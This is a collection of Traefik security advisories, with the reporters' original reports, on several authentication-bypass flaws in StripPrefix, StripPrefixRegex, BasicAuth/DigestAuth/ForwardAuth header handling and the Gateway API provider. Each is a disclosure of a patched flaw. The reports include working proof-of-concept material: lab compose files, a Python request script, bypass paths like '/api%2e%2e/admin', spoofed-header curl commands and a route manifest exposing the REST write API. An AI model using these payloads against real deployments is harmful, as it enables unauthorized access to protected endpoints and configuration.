Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend
backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"
dynamic.yml
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
backend.py
python from http.server import BaseHTTPRequestHandler, HTTPServer import json
class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return
def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
poc.py
python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]
for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
bash docker compose up -d python3 poc.py
Expected Vulnerable Output
text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin
The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
- CWE-863: Incorrect Authorization
Related weakness candidates:
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
text PathRegexp(^/api(/|$))
or:
text PathPrefix(/api/) with StripPrefix(/api/)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider that allows a tenant with HTTPRoute creation permissions to expose the REST provider handler, bypassing the providers.rest.insecure=false setting. The Gateway provider accepts any TraefikService backend reference whose name ends with @internal, making it possible to route traffic to rest@internal in addition to the intended api@internal. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.46 - https://github.com/traefik/traefik/releases/tag/v3.6.17 - https://github.com/traefik/traefik/releases/tag/v3.7.1
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary When the Kubernetes Gateway API provider is enabled, Traefik accepts any TraefikService backend whose name ends with @internal. This allows a tenant-controlled HTTPRoute to publish rest@internal.
If providers.rest is enabled, this exposes Traefik's REST provider handler even when providers.rest.insecure=false, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update HTTPRoute resources in an allowed namespace can gain live Traefik dynamic-configuration write access through PUT /api/providers/rest.
Details The Gateway provider treats internal services broadly rather than allowing only a specific internal target.
In current master, pkg/provider/kubernetes/gateway/kubernetes.go defines isInternalService(...) as any TraefikService reference whose name ends with @internal.
Then pkg/provider/kubernetes/gateway/httproute.go special-cases a single backend reference that matches isInternalService(...) and directly assigns router.Service = string(routeRule.BackendRefs[0].Name).
This means a tenant route can target not only api@internal, but also rest@internal and other internal handlers.
Separately, the REST provider handler is created whenever the REST provider is enabled. In pkg/server/service/managerfactory.go, if staticConfiguration.Providers.Rest != nil, Traefik sets factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter().
The REST provider handler itself is implemented in pkg/provider/rest/rest.go and accepts PUT /api/providers/{provider}.
The providers.rest.insecure flag does not disable the underlying handler. In pkg/provider/traefik/internal.go, that flag only controls whether Traefik creates its own built-in internal router for rest@internal. Even when providers.rest.insecure=false, Traefik still registers the rest service object, and the service layer can still resolve rest@internal if another provider routes to it.
I validated this locally in two tests: 1. the Gateway route-building path accepts rest@internal as an internal backend through the same special-case branch used for api@internal 2. the service layer builds and serves rest@internal successfully when providers.rest is enabled and providers.rest.insecure=false
The vulnerable code path is present in: - v3.0.0 - v3.6.7 - v2.11.0 - v2.11.36 - current master at 786f7192e11878dfaa634f8263bf79bb730a71cb
I verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation
I did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for api@internal, but the issue here is broader because the Gateway code accepts any @internal TraefikService, including the write-capable rest@internal handler.
Expected behavior providers.rest.insecure=false should prevent low-privileged route authors from exposing the REST provider handler.
Actual behavior A tenant-controlled Gateway route can still publish rest@internal and reach the REST update API.
Attacker prerequisites - The Kubernetes Gateway API provider is enabled. - providers.rest=true. - providers.rest.insecure=false. - A shared Gateway allows tenant namespaces to attach HTTPRoute resources. - The attacker can create or update HTTPRoute resources in an allowed tenant namespace.
PoC 1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.
Example static configuration:
yaml providers: kubernetesGateway: {} rest: insecure: false
2. Ensure a shared Gateway allows tenant HTTPRoute attachment.
3. In an allowed tenant namespace, create an HTTPRoute whose backend points to rest@internal:
yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: expose-rest-internal namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra hostnames: - rest.tenant.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - group: traefik.io kind: TraefikService name: rest@internal port: 80
4. Send a PUT request through that published route to /api/providers/rest with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to noop@internal.
Example request body:
json { "http": { "routers": { "probe": { "rule": "PathPrefix(/probe)", "service": "noop@internal", "ruleSyntax": "default" } } } }
5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though providers.rest.insecure=false.
Impact This is an authorization / trust-boundary bypass affecting shared Gateway deployments.
On affected deployments, an actor who should only be able to create or update HTTPRoute objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.
On affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.
This is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions: - providers.rest must be enabled - the attacker must be allowed to attach HTTPRoute resources to a shared Gateway
</details>
Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).
However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.
This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:
"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."
The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.
The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:
1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback
The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.
The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.
Affected versions
- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.
The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).
Root cause
In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:
go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.
pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.
The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:
go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }
This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.
Proof of concept
Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.
Setup
yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888
yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }
The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.
For backends that normalize ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend Header.Del to handle underscore variants at the four call sites. Replace:
go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}
with:
go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.
2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with trustForwardHeader: false, Traefik derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the X-Forwarded-Proto and X-Forwarded-Prefix spoofing vectors but missed the X-Forwarded-Port vector.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The ForwardAuth middleware, even when configured with trustForwardHeader: false, still derives the X-Forwarded-Port header sent to the authentication service by reading the attacker-controlled X-Forwarded-Proto header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks.
### Details
The fix introduced in commit 5e1de2258 (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded- headers from the forwarded auth request when trustForwardHeader=false, and reconstructs X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).
However, the reconstruction of X-Forwarded-Port is delegated to the helper forwardedPort(req) which receives the original request (req) rather than the sanitized forward request (forwardReq):
go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd- from forwardReq } // ... if , ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL }
// pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req http.Request) string { if , port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" }
Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection:
┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port.
### PoC
Traefik configuration:
http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(/api)" middlewares: - my-auth service: backend
Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 Attack:
Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access
Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP.
### Impact
Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port 443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP connection.
This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the X-Forwarded-Port vector was missed.
</details>
---
Summary
There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.
The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).
ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content
An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.
### Details
pkg/middlewares/stripprefixregex/stripprefixregex.go, line 62:
go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])
prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.
Example with regex ^/api:
- GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/ -> allows it - Backend serves the protected admin content
PoC
Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.
Impact
Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.
---
Updated PoC (reporter follow-up)
After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.
Chain:
GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content
Results (Traefik v3.6, unmodified Express.js express.static):
GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)
Auth server logs:
